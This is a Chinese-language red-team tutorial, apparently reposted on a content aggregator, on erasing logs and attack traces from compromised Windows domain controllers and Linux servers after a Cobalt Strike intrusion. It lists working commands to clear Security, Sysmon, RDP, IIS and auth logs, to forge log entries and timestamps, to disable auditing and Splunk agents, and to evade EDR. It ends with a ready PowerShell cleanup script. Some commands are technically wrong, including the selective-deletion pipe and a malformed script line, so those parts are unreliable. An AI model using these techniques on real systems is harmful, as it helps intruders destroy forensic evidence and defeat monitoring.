渗透测试指南(CSMSF):Windows 与 Linux 系统中的日志与文件痕迹清理

目录

🕵️‍♂️ 一、清理日志的重要性

核心目标

案例:域控渗透后日志暴露

🖥️ 二、Windows系统日志清理

1. 事件日志(Event Logs)

2. Web日志(IIS Logs)

3. PowerShell日志

4. 其他日志

🐧 三、Linux系统日志清理

1. 系统日志(Syslog)

2. 认证日志(Auth Logs)

3. Web服务器日志

4. 其他日志

🗑️ 四、删除攻击工具与文件

1. Windows系统

2. Linux系统

🔐 五、高级红队对抗技术

1. 日志轮转与时间戳

2. 规避SIEM与EDR

3. 内存痕迹清理

4. 网络流量规避

5. 文件系统元数据

📖 六、其余知识点

1. Windows事件日志恢复

2. Linux日志符号链接

3. 审计策略调整

4. SSD安全删除

5. EDR对抗

🛠️ 七、红队清理脚本示例

📊 八、总结与红队建议



在红队行动中,清理日志和攻击痕迹是确保隐匿性和长期控制目标系统的关键步骤。


🕵️‍♂️ 一、清理日志的重要性

日志清理是红队行动的最后一步,旨在隐藏攻击痕迹、规避溯源并维持持久化访问。未清理的日志可能暴露攻击者的IP、工具、行为甚至身份,尤其在渗透域控主机后,日志清理尤为关键,因为域控记录了整个网络的核心活动。

核心目标
  • 隐藏痕迹:防止管理员或安全工具(如SIEM、EDR)检测异常。

  • 规避溯源:降低被追踪到C2服务器或真实身份的风险。

  • 维持控制:通过清理痕迹,确保长期隐匿访问。

案例:域控渗透后日志暴露

在一场红队演习中,攻击者通过Cobalt Strike成功提权至域控,但未清理安全日志(Security Log)。蓝队通过分析事件ID 4624(登录成功)和ID 4672(权限分配),发现了异常的RDP登录和权限提升行为,最终溯源至C2服务器。因此,日志清理是红队行动的必备环节。


🖥️ 二、Windows系统日志清理

假设通过Cobalt Strike渗透了一台Windows域控服务器,以下是主要日志类型及清理方法,结合实战案例。

1. 事件日志(Event Logs)

事件日志记录系统活动(如登录、权限更改),分为系统日志(System)、安全日志(Security)和应用程序日志(Application)。

清理方法

  • 使用wevtutil清空日志:

    wevtutil cl System
    wevtutil cl Security
    wevtutil cl Application
  • 通过PowerShell:

    Clear-EventLog -LogName System, Security, Application
  • 高级技巧:选择性删除特定事件(如事件ID 4624)以降低SIEM警报触发概率:

    wevtutil qe Security /q:"*[System[(EventID=4624)]]" | Remove-Item

案例:在一台域控服务器上,攻击者使用wevtutil cl Security清空安全日志,但触发了SIEM的“日志清空”警报。改进方案是使用PowerShell脚本选择性删除特定登录事件,伪造正常活动日志以混淆蓝队。

2. Web日志(IIS Logs)

如果目标运行IIS,Web请求日志可能暴露C2通信的IP或URL。

清理方法

  • 删除日志文件(默认路径:C:\inetpub\logs\LogFiles):

    del /f /q "C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log"
  • 禁用IIS日志记录(临时):

    Set-WebConfigurationProperty -Filter "system.webServer/httpLogging" -Name dontLog -Value $true

案例:攻击者通过IIS服务器的WebShell执行C2命令,未清理access.log,导致蓝队通过日志中的异常POST请求定位了C2域名。清理后,攻击者通过禁用日志记录进一步降低暴露风险。

3. PowerShell日志

Cobalt Strike常通过PowerShell执行命令,历史记录可能泄露攻击细节。

清理方法

  • 删除PowerShell历史文件:

    del /f /q "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
  • 禁用PowerShell日志记录:

    Set-PSReadLineOption -HistorySaveStyle SaveNothing

案例:攻击者通过PowerShell执行了Cobalt Strike的Beacon加载命令,未清理历史文件,导致蓝队在ConsoleHost_history.txt中发现了Invoke-WebRequest调用C2的记录。清理后,攻击者通过禁用日志规避了类似问题。

4. 其他日志
  • RDP日志:清理远程桌面连接记录:

    wevtutil cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
  • Sysmon日志(若安装):

    wevtutil cl "Microsoft-Windows-Sysmon/Operational"
  • DNS日志(若域控兼任DNS服务器):

    del /f /q "C:\Windows\System32\dns\dns.log"
  • Windows Defender日志

    del /f /q "C:\ProgramData\Microsoft\Windows Defender\Support\*.log"

扩展知识点:Sysmon日志可能记录详细的进程创建和网络连接,清理时需检查其配置文件以确认日志路径。若目标使用EDR(如CrowdStrike),需通过内存注入绕过其监控。


🐧 三、Linux系统日志清理

假设通过Cobalt Strike渗透了一台Linux Web服务器,以下是日志清理步骤。

1. 系统日志(Syslog)

记录系统事件,通常位于/var/log/syslog/var/log/messages

清理方法

  • 清空文件:

    > /var/log/syslog
  • 删除轮转日志:

    rm -f /var/log/syslog.*

案例:攻击者在Linux服务器上部署了后门,未清理/var/log/messages,导致蓝队发现了异常的sshd登录记录。清理后,攻击者通过伪造日志内容(如写入正常登录记录)混淆取证。

2. 认证日志(Auth Logs)

记录登录和sudo操作,位于/var/log/auth.log

清理方法

  • 清空文件:

    > /var/log/auth.log
  • 删除备份:

    rm -f /var/log/auth.log.*
3. Web服务器日志
  • Apache

    rm -f /var/log/apache2/access.log
    rm -f /var/log/apache2/error.log
  • Nginx

    rm -f /var/log/nginx/access.log
    rm -f /var/log/nginx/error.log
4. 其他日志
  • 内核日志

    > /var/log/kern.log
  • Cron日志

    > /var/log/cron.log
  • 数据库日志(如MySQL):

    rm -f /var/log/mysql/error.log

扩展知识点:Linux日志可能是符号链接,清理前需确认实际文件路径:

ls -l /var/log/syslog

若目标使用rsyslog将日志同步到远程服务器,需通过提权修改/etc/rsyslog.conf禁用远程日志。


🗑️ 四、删除攻击工具与文件

清理上传的木马、后门或临时文件是隐藏痕迹的关键。

1. Windows系统
  • 恶意文件

    del /f /q "C:\path\to\malicious.exe"
  • 临时文件

    del /f /q "%TEMP%\*.*"
  • 注册表项(如持久化后门):

    reg delete "HKLM\Software\MaliciousKey" /f
  • 安全删除(覆盖文件内容):

    cipher /w:C:\path\to\file

案例:攻击者上传了Cobalt Strike Beacon至%TEMP%,未清理被Defender扫描发现。改进方案是使用cipher覆盖文件内容后删除。

2. Linux系统
  • 恶意文件

    rm -f /path/to/malicious.sh
  • 临时文件

    rm -rf /tmp/*
  • Crontab条目

    crontab -r
  • 安全删除

    shred -u /path/to/file

案例:攻击者在/tmp部署了后门脚本,未清理被蓝队通过文件时间戳发现。改进方案是使用shred覆盖后删除。


🔐 五、高级红队对抗技术

从红队高级视角,清理痕迹需关注以下细节。

1. 日志轮转与时间戳
  • 问题:清空日志可能留下时间空白,触发SIEM警报。

  • 解决:伪造日志内容,保持时间戳一致:

    echo "Normal activity" >> /var/log/syslog
    touch -t 202506221200 /var/log/syslog
2. 规避SIEM与EDR
  • 问题:SIEM可能同步日志至远程服务器,EDR(如CrowdStrike)实时监控。

  • 解决

    • 禁用EDR进程(如通过内存注入修改其行为)。

    • 修改SIEM客户端配置(如/etc/splunk/inputs.conf)。

  • 案例:攻击者清空本地日志,但Splunk已同步数据至远程服务器。改进方案是提权后禁用Splunk Agent。

3. 内存痕迹清理
  • 问题:Cobalt Strike的内存注入可能在RAM中留下痕迹。

  • 解决:通过重启清除内存(需权衡持久化需求)或使用内存擦除工具(如MemoryZeus)。

  • 案例:蓝队通过内存取证发现了Beacon的内存特征,攻击者通过重启规避了检测。

4. 网络流量规避
  • 问题:IDS/IPS记录了C2流量。

  • 解决:使用代理、VPN或Tor隐藏流量,结合加密协议(如WebSocket)降低特征暴露。

  • 案例:攻击者的HTTP C2流量被IDS拦截,改进方案是切换至DNS隧道。

5. 文件系统元数据
  • 问题:删除文件后,元数据可能被恢复。

  • 解决:使用cipher(Windows)或shred(Linux)覆盖内容。


📖 六、其余知识点

1. Windows事件日志恢复
  • 问题:专业取证工具(如Event Log Explorer)可能恢复已删除的日志。

  • 解决:修改日志文件结构(如覆盖C:\Windows\System32\winevt\Logs\*.evtx)。

2. Linux日志符号链接
  • 问题:日志文件可能是符号链接,清理错误可能无效。

  • 解决:检查链接并清理实际文件:

    readlink /var/log/syslog
3. 审计策略调整
  • 问题:Windows默认记录大量事件。

  • 解决:修改审计策略减少记录(谨慎使用,可能触发警报):

    auditpol /set /category:"Logon/Logoff" /success:disable
4. SSD安全删除
  • 问题:SSD上的文件删除易恢复。

  • 解决:使用专业工具(如secure-erase)擦除数据。

5. EDR对抗
  • 问题:EDR实时监控可能拦截清理操作。

  • 解决:通过内存注入或Hook API(如NtWriteFile)绕过EDR。


🛠️ 七、红队清理脚本示例

以下是一个简单的Windows日志清理脚本,供红队参考。

# Windows 日志清理脚本
# 清理事件日志
Clear-EventLog -LogName System, Security, Application -ErrorAction SilentlyContinue
wevtutil cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational" -ErrorAction SilentlyContinue
​
# 清理 PowerShell 历史
Remove-Item -Path "$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force -ErrorAction SilentlyContinue
​
# 清理 IIS 日志
Remove-Item -Path "C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log" -Force -ErrorAction SilentlyContinue
​
# 清理临时文件
Remove-Item -Path "$env:TEMP\*" -Recurse -Force -ErrorAction SilentlyContinue
​
# 安全删除指定文件
if (Test-Path "C:\path\to\malicious.exe") {cipher /w:"C:\path\to\malicious.exe"Remove-Item -Path "C:\path\to\malicious.exe" -Force
}
​
Write-Output "Logs and files cleared successfully."

使用方法

  1. 保存为clear_logs.ps1

  2. 通过Cobalt Strike的PowerShell模块执行:

    powershell -ExecutionPolicy Bypass -File clear_logs.ps1

📊 八、总结与红队建议

清理日志和攻击痕迹是红队行动的必备技能,直接影响行动的隐匿性和成功率。通过结合Windows和Linux的清理方法、伪造日志、规避SIEM/EDR以及安全删除文件,红队可显著降低被检测的风险。

建议

  1. 事前准备:渗透前确认目标的日志配置(如SIEM、EDR)。

  2. 动态调整:根据环境选择性清理,避免触发警报。

  3. 持续学习:关注最新的EDR和取证技术,优化对抗策略。

  4. 实践验证:在HTB或自建靶场测试清理脚本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/85873.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/85873.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MYSQL数据库和MSSQL数据库有什么区别?如何进行备份和还原?

MySQL 和 MSSQL 是两种广泛使用的关系型数据库,但它们在架构、功能、性能、平台支持以及使用场景等方面存在许多差异。以下是详细的区别,以及两者的备份和还原方法。 1. MySQL 与 MSSQL 的区别 1.1 基本概念 数据库MySQLMSSQL开发者Oracle(…

vscode搭建spring boot项目

一.创建项目 第一步:打开vscode按下shiftctrlp,选择下面的 第二步:选择版本 第三步:选择语言 第四步:填写项目的Groupid 第五步:填写Artifact id 第六步:选择打包方式 第七步:选择java版本 第…

Matter协议开发者指南:使用Matter SDK构建智能家居应用

更新请关注:Matter协议开发者指南:使用Matter SDK构建智能家居应用 智能家居的演变从根本上改变了我们日常生活中与技术互动的方式。从语音助手到自动化照明和安防系统,机遇似乎无穷无尽。然而,开在这个迅速扩张的领域中&#xff…

中科院1区TOP|IF8.3:广西中医药大学团队采用代谢组学-网络药理学整合策略,阐明鸡骨草的多靶点作用机制

中科院1区TOP|IF8.3:广西中医药大学团队采用代谢组学-网络药理学整合策略,阐明鸡骨草的多靶点作用机制 在当今生命科学研究领域,代谢性疾病的防治与传统中药的现代化研究已成为两大备受瞩目的热点方向。随着全球范围内脂质代谢紊乱相关疾病发…

c++中 Lambda表达式

Lambda优化技巧 尽量使用值捕获简单类型 避免捕获大型对象(使用引用或智能指针) 将不修改的捕获标记为const 使用初始化捕获移动语义资源 前言 1. Lambda表达式基本语法 [捕获列表](参数列表) mutable(可选) 异常属性(可选) -> 返回类型(可选) {// 函数体 } 捕获列表…

睿是信息携手Arctera,深化服务中国市场,共筑数据管理新未来

2025年6月23日,为了更加深入服务中国大陆地区的广大用户,上海睿是信息科技有限公司(以下简称“睿是信息”)与全球数据管理领域的领导者Arctera,双方正式达成战略合作,自2025年7月7日起,睿是信息…

【WebGIS系列】WebGIS 开发相关的资源

目录 数据 GIS 软件 地图渲染库 EPSG 相关工具 资源 以下为个人收集的与 WebGIS 开发相关的资源(排名不分前后),欢迎补充。 数据 天地图(opens in a new tab)国家统计局行政区划(opens in a new tab)民政部全国行政区划信息查询平台(…

【单调栈】-----【小A的柱状图】

小A的柱状图 题目链接 题目描述 柱状图是有一些宽度相等的矩形下端对齐以后横向排列的图形,但是小A的柱状图却不是一个规范的柱状图,它的每个矩形下端的宽度可以是不相同的一些整数,分别为 a [ i ] a[i] a[i],每个矩形的高度是…

MySQL 索引优化与慢查询优化:原理与实践

MySQL是一个广泛使用的关系型数据库管理系统,优化MySQL的性能对于保证应用的高效运行至关重要。本文将详细介绍MySQL索引优化与慢查询优化的原理和实践方法。 一、MySQL索引优化 1.1 索引的基本概念 索引是一种用于提高数据库查询速度的数据结构。常见的索引类型…

【AS32系列MCU调试教程】应用开发:基于AS32芯片的流水灯功能实现

摘要: 本文以国科安芯的AS32系列MCU芯片为例,聚焦于基于 AS32 芯片的流水灯功能开发,深入阐述了开发环境搭建、工程配置以及调试等关键环节。通过详尽的实验过程与结果分析,旨在为相关领域技术人员提供一套系统、高效且成本可控的…

爬虫001----介绍以及可能需要使用的技术栈

首先1️⃣。。。全篇使用的技术栈当然是python了,毕竟作为一名点点点工程师,实际工作中做测试开发用的也是python,毕竟测试框架么,不需要什么"速度"。也会一点点cpp和js,但不多。什么?你说go和ja…

Java 中基于条件动态决定字段参与分组的实现方法

在 Java 的 Stream API 中,Collectors.groupingBy()方法为数据分组提供了强大的支持。通过它,我们可以轻松地将集合中的元素按照某个属性进行分组,比如按照商品类别、日期等。然而,在实际业务场景中,有时需要根据特定条…

AppBarLayout+ CoordinatorLayout,ViewPager2为什么不会覆盖AppBarLayout

<?xml version"1.0" encoding"utf-8"?> <layout xmlns:android"http://schemas.android.com/apk/res/android"xmlns:app"http://schemas.android.com/apk/res-auto"xmlns:tools"http://schemas.android.com/tools&quo…

【群体智能优化算法系列 】一 粒子群算法 (Particle Swarm Optimization, PSO)

【群体智能优化算法系列 】一 粒子算法 一&#xff1a;前言二&#xff1a;算法原理2.1 核心思想2.2 PSO核心公式​2.3 PSO算法流程图 三&#xff1a;python实现 二维Rastrigin函数 最低点检索例子参考 一&#xff1a;前言 粒子群算法是由Kennedy和Eberhart在1995年提出的一种基…

Jupyter notebook调试:设置断点运行

写了一段小代码&#xff0c;主要是用来测试一段序列的k均值聚类效果&#xff1b; 中间想到debug一下&#xff0c;但是想到自己似乎从来没有正式地接触过jupyter notebook中地debug&#xff0c;平时也只是多开几个cell&#xff0c;然后在其他cell中复制粘贴部分代码&#xff0c…

[12-2] BKP备份寄存器RTC实时时钟 江协科技学习笔记(14个知识点)

1 2 3 4 5 6 7 8 RTC是“Real-Time Clock”的缩写&#xff0c;中文意思是“实时时钟”。这是一种在电子设备中使用的时钟&#xff0c;它能够提供准确的时间信息&#xff0c;即使在设备断电的情况下也能继续运行&#xff0c;因为它通常由一个小型电池供电。RTC广泛应用于计算机…

优化给AI的“提问技巧”(提示工程),让大型语言模型(比如GPT)更好地扮演“心理治疗助手”的角色

优化给AI的“提问技巧”(提示工程),让大型语言模型(比如GPT)更好地扮演“心理治疗助手”的角色 尤其是在“问题解决疗法”(PST)中帮助 caregivers(家庭护理者)缓解焦虑、疲劳等心理症状。以下是核心内容的通俗解读: 一、研究背景:AI当心理医生靠谱吗? 现状:全球…

Java的lambda表达式应用

Lambda表达式是Java 8引入的一项强大特性&#xff0c;它允许以更加简洁的方式表示匿名函数。Lambda表达式不仅让代码更加简洁、清晰&#xff0c;而且为函数式编程提供了有力支持&#xff0c;从而提升了Java语言的表达能力。 本文主要讲解lambda应用stream处理集合的应用。 1、…

云原生/容器相关概念记录

文章目录 网络与虚拟化技术云平台与架构容器与编排容器网络方案性能优化与工具硬件与协议 网络与虚拟化技术 P4可编程网关 P4: Programming Protocol-independent Packet Processors一种基于P4语言的可编程网络设备&#xff0c;支持自定义数据包处理逻辑。P4可编程技术详解&am…

[C++] traits机制

文章目录 C之type_traitsis_floating_point<T> ..的使用std::enable_if<T>::type的使用std::remove_cv 如何自定义traits C之type_traits is_floating_point …的使用 一般在定义打印模板函数的时候&#xff0c;当我们用printf进行终端日志打印&#xff0c;需要根…